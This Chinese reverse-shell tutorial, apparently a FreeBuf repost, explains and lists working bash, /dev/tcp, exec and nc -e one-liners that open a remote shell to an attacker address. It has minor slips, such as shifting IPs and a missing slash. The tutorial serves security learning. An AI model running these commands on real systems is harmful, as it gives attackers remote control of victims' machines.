渗透测试教程之反弹shell入门教学 – 作者:宸极实验室Sec

*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。

此文记录了利用bash远程代码执行漏洞进行反弹shell的命令讲解及详细过程。

0x00 前言

反弹shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。

通俗点说,反弹shell就是一种反向链接,与正向的ssh等不同,它是在对方电脑执行命令连接到我方的攻击模式,并且这种攻击模式必须搭配远程执行命令漏洞来使用。

为什么要反弹shell? 通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器,这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,sshtelnet等等,都是正向连接。

那么什么情况下正向连接不太好用了呢:

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2.它的ip会动态改变,你不能持续控制。

3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹shell

0x01 反弹shell演示

我们用bash远程代码执行漏洞实例来了解一下他的原理

攻击端:10.100.40.5 受害机:192.168.197.136

首先我们需要在攻击端去监听端口,通过这个端口来接收受害机反弹的shell
在攻击端输入命令nc -l 2333

1

然后在受害机执行命令

bash -i >& /dev/tcp/10.100.40.5/2333 0>&1

2

我们就发现,在我们的攻击端已经成功出现了我们的受害端的shell,在我们的攻击端就能对受害端来进行下一步操作

3

例如:

4

0x02 原理

2.1 反弹shell的命令原理

(1)bash -i

bashlinux的一个比较常见的shell,是许多Linux发行版的默认Shell
-i这个参数的意思是产生交互式的shell

(2)./dev/tcp/ip/port
/dev/tcp|udp/ip/port这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的,如下图:

5

(3) 但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信

我们输出字符到/dev/tcp这个文件中

受害端:

1

攻击端:

1

(4) 下面我们在看将输出转移到到受害端,在攻击端继续监听2333端口,并且在攻击端输入内容回车就会出现在受害端。

1

1

(5)这样思路就比较清晰了,下面再说交互重定向:

为了实现交互,我们需要把受害者交互式shell的输出重定向到攻击机上;

在受害者机器上输入:

bash -i > /dev/tcp 10.100.40.5/2333

然后我们发现无论输入什么指令都不会有回显,回显出现在了攻击端标准输出被定向到了攻击端。

1

1

这样只是回显而已,并没有办法在攻击端直接执行命令。

(6)所以我们还需要将攻击者输入的指令输入给受害者的bash

bash -i < /dev/tcp/10.100.40.5/2333

这样就会做到在攻击端输入命令,回显到受害端:

1

1

(7)最重要的在与怎么将两个操作结合起来,实现在攻击端输入攻击端输出,我们需要将输出输入都绑定到/dev/tcp这个文件下。

命令:

bash -i > /dev/tcp/10.100.40.5/2333 0>&1

受害端:

1

攻击端:

1

我们发现完全实现了我们的需求,在攻击端执行命令,并且回显,这个命令,做到了输入0是由/dev/tcp/192.168.146.129/2333输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.156.129/2333上,这就形成了一个回路,实现了我们远程交互式shell的功能。
我们发现还是有一个小问题,我们可以看到,虽然命令执行结果在攻击端回显,但是受害端依然是有命令回显的,
所以我们需要解决这个问题
命令 :

bash -i > /dev/tcp/10.100.40.5/2333 0>&1 2>&1

这样命令就不会回显到受害端了。

1

就算是错误输出也会输出到攻击端,这样就达到了我们的目的。

1

2.2 常见反弹shell方法

(1) 方法一

bash -i>& /dev/tcp/10.100.40.5/2333 0<&1
bash -i>& /dev/tcp/10.100.40.5/2333 0<&1

这两个几乎是一样的唯一的区别是0>&10<&1,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别。

(2) 方法二

bash -i >& /dev/tcp/10.100.40.5/2333 <&2
bash -i >& /dev/tcp/10.100.40.5/2333 0<&2

(3) 方法三

exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

(4) 方法四

nc -e /bin/sh 10.100.40.5 2333

0x03 总结

Linux下的反弹shell还是有很多种姿势和方法的,这只是最简单与基础的内容,学习了解以后可以继续研究更多的反弹方法与姿势。

作者:JgK01

来源:freebuf.com 2021-04-27 14:53:09 by: 宸极实验室Sec

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论